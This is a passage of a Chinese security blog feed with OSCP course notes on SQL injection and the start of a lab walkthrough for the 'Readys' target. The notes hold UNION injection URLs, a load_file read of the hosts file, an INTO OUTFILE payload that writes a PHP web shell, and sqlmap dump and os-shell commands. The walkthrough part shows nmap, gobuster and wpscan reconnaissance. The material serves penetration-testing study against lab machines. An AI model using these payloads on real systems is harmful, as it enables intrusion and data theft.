&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;41&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;42&lt;/span&gt; &lt;span class="nx"&gt;trigger_error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;An error occured: &amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;num_rows&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;44&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$row&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;fetch_assoc&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt; &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;text&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;46&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;47&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;No results. Specify an id.&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;48&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;49&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;No results. Specify an id in your URL like ?id=1.&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;50&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;51&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;导致 SQL 注入的易受攻击代码在列表 332 的第 39 行。注入点位于查询末尾的&amp;quot;WHERE&amp;quot;子句中，这使得使用&amp;quot;UNION&amp;quot; payload 变得容易。查询的结果被获取，然后在第 45 行写出以供显示。请注意，虽然查询中包含三列，但只显示其中两列。这就是为什么我们使用第二列和第三列从另一个表中提取数据。&lt;/p&gt;
&lt;h3 id="练习-4"&gt;练习
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;使用 SQL 注入枚举数据库的结构。&lt;/li&gt;
&lt;li&gt;理解如何以及为什么可以从注入的命令中提取数据并将其显示在屏幕上。&lt;/li&gt;
&lt;li&gt;从数据库中提取所有用户和相关密码。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="从-sql-注入到代码执行"&gt;从 SQL 注入到代码执行
&lt;/h2&gt;&lt;p&gt;让我们看看能将这个漏洞推进到什么程度。根据操作系统、服务权限和文件系统权限，SQL 注入漏洞可用于读取和写入底层操作系统上的文件。将包含 PHP 代码的精心制作的文件写入 Web 服务器的根目录，然后可以利用它来实现完整的代码执行。&lt;/p&gt;
&lt;p&gt;首先，让我们看看是否可以使用 load_file 函数读取文件：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 union all select 1, 2, load_file(&amp;#39;C:/Windows/System32/drivers/etc/hosts&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这应该输出 hosts 文件的内容：&lt;/p&gt;
&lt;p&gt;接下来，我们将尝试使用 INTO OUTFILE 函数在服务器的 Web 根目录中创建恶意 PHP 文件。根据我们已经看到的错误消息，我们应该知道 Web 根目录的位置。我们将尝试编写一个简单的 PHP 一行代码，类似于 LFI 示例中使用的代码：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 union all select 1, 2, &amp;#34;&amp;lt;?php echo shell_exec($_GET[&amp;#39;cmd&amp;#39;]);?&amp;gt;&amp;#34; into OUTFILE &amp;#39;c:/xampp/htdocs/backdoor.php&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;如果成功，该文件应该放在 Web 根目录中：&lt;/p&gt;
&lt;p&gt;此命令产生错误消息，但这并不一定意味着文件创建不成功。让我们尝试使用 cmd 参数（如 ipconfig）访问新创建的 backdoor.php 页面。&lt;/p&gt;
&lt;h3 id="练习-5"&gt;练习
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;利用 SQL 注入以及 MariaDB INTO OUTFILE 函数获取代码执行。&lt;/li&gt;
&lt;li&gt;将简单的代码执行转变为完整的 shell。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="自动化-sql-注入"&gt;自动化 SQL 注入
&lt;/h2&gt;&lt;p&gt;我们遵循的 SQL 注入过程可以借助 Kali Linux 中预安装的几个工具实现自动化。其中一个更值得注意的工具是 sqlmap，它可用于识别和利用针对各种数据库引擎的 SQL 注入漏洞。&lt;/p&gt;
&lt;p&gt;让我们在示例 Web 应用程序上使用 sqlmap。我们将使用 -u 设置要扫描的 URL，并使用 -p 指定要测试的参数：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ sqlmap -u http://10.11.0.22/debug.php?id&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; -p &lt;span class="s2"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sqlmap 将发出多个请求来探测参数是否易受 SQL 注入攻击。它还尝试确定正在使用的数据库软件，以便可以针对该软件调整攻击。在这种情况下，它发现了四种不同的技术来利用漏洞。它还列出了每种技术的 payload。即使 sqlmap 为我们完成工作，拥有这些示例 payload 也有助于我们理解它是如何利用漏洞的。&lt;/p&gt;
&lt;p&gt;我们现在可以使用 sqlmap 自动从数据库中提取数据。我们将再次运行 sqlmap，使用 &amp;ndash;dbms 将&amp;quot;MySQL&amp;quot;设置为后端类型，并使用 &amp;ndash;dump 转储数据库中所有表的内容。Sqlmap 在 &amp;ndash;dbms 标志中支持多个后端数据库，但它不区分 MariaDB 和 MySQL。将&amp;quot;MySQL&amp;quot;设置为足以满足此示例。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ sqlmap -u http://10.11.0.22/debug.php?id&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; -p &lt;span class="s2"&gt;&amp;#34;id&amp;#34;&lt;/span&gt; --dbms&lt;span class="o"&gt;=&lt;/span&gt;mysql --dump
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;除了在终端窗口中显示内容外，sqlmap 还创建了一个包含转储内容的 CSV 文件。&lt;/p&gt;
&lt;p&gt;Sqlmap 有许多其他功能，例如尝试绕过 Web 应用程序防火墙（WAF）的能力，以及执行复杂查询以自动完全接管服务器的能力。例如，使用 os-shell 参数将尝试在目标系统上自动上传和执行远程命令 shell。&lt;/p&gt;
&lt;p&gt;我们可以通过使用 &amp;ndash;os-shell 运行 sqlmap 在系统上执行 shell 来使用此功能：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ sqlmap -u http://10.11.0.22/debug.php?id&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; -p &lt;span class="s2"&gt;&amp;#34;id&amp;#34;&lt;/span&gt; --dbms&lt;span class="o"&gt;=&lt;/span&gt;mysql --os-shell
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;一旦 sqlmap 建立了 shell，我们就可以在服务器上运行命令并查看输出，如列表 337 所示。这个 shell 可能有点慢，但它可以提供一个有效的立足点来访问底层服务器。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;重要提示：&lt;/strong&gt; 请注意，OSCP 考试中不允许使用 sqlmap。但是，我们建议在实验室和 Windows 10 实验室机器上进行练习。考虑将其与 Burp 和 Wireshark 等工具结合使用，以捕获工具正在执行的操作，然后尝试手动复制攻击。这通常是一种非常有效的学习技术，不应被忽视。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="练习-6"&gt;练习
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;使用 sqlmap 获取数据库的完整转储。&lt;/li&gt;
&lt;li&gt;使用 sqlmap 获取交互式 shell。&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id="第九章总结"&gt;第九章总结
&lt;/h1&gt;&lt;p&gt;第九章内容提到了很多常见的web漏洞，但是教材上能提到的利用方法只简单描述了原理，没有考虑真实复杂环境下的WAF过滤，系统版本等问题。部分命令已无法再直接利用，推荐自行做专题的练习。&lt;/p&gt;
&lt;p&gt;[[upload-Labs 靶场 WP]] [[sqli-labs 靶场合集 WP]] [[DVWA 靶场 WP|DVWA]] [[xss-labs 靶场 WP]]&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://hackhub.get-shell.com/games/2/challenges" target="_blank" rel="noopener"
 &gt;在线靶场-综合漏洞练习靶场&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;更推荐用Docker镜像在本地练习更方便查看靶场内部设置，这样你可以直接查看你的上传的木马，注入的语句，在靶机里都是如何运作的，可以直接求证。一键拖取全部镜像命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;docker run -d --name upload-labs -p 8883:80 c0ny1/upload-labs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;docker run -d --name xss-labs -p 8884:80 vulfocus/xss-labs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;docker run -d --name sqli-labs -p 8887:80 acgpiano/sqli-labs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;docker run -d --name dvwa -p 8888:80 vulnerables/web-dvwa
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;OSCP第十章之后的内容，本博客和公众号不再发布笔记，感兴趣的可以自行报名OSCP学习，或加入泷羽学习群分享交流。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>OSCP官方靶场 Readys WP</title><link>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-readys-wp/</link><pubDate>Wed, 15 Oct 2025 16:58:28 +0000</pubDate><guid>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-readys-wp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post OSCP官方靶场 Readys WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;官网打开靶场
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015165941858.png"&gt;&lt;/p&gt;
&lt;h2 id="信息收集"&gt;信息收集
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali攻击机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;192.168.45.182
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;192.168.147.166
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="扫描端口和目录"&gt;扫描端口和目录
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="m"&gt;1250&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;ip link show tun0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5000&lt;/span&gt; -Pn 192.168.147.166 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.147.166
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.147.166
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -e -u http://192.168.147.166 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t &lt;span class="m"&gt;20&lt;/span&gt; -x php,html,txt -b 403,500,404 -z
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;whatweb http://192.168.147.166/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;wpscan --update --url http://192.168.147.166/ --enumerate ap,t,u --api-token XXX
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描结果如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Readys&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;22,80,6379
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Readys&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.147.166
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-10-15 05:12 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.147.166
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.12s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 &lt;span class="o"&gt;(&lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;2048&lt;/span&gt; 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;256&lt;/span&gt; 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ &lt;span class="m"&gt;256&lt;/span&gt; 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http Apache httpd 2.4.38 &lt;span class="o"&gt;((&lt;/span&gt;Debian&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: Readys &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="c1"&gt;#8211; Just another WordPress site&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-generator: WordPress 5.7.2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-server-header: Apache/2.4.38 &lt;span class="o"&gt;(&lt;/span&gt;Debian&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;6379/tcp open redis Redis key-value store
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span class="m"&gt;1&lt;/span&gt; open and &lt;span class="m"&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;Device type: general purpose&lt;span class="p"&gt;|&lt;/span&gt;router
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;Running: Linux 4.X&lt;span class="p"&gt;|&lt;/span&gt;5.X, MikroTik RouterOS 7.X
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 &lt;span class="o"&gt;(&lt;/span&gt;Linux 5.6.3&lt;span class="o"&gt;)&lt;/span&gt;
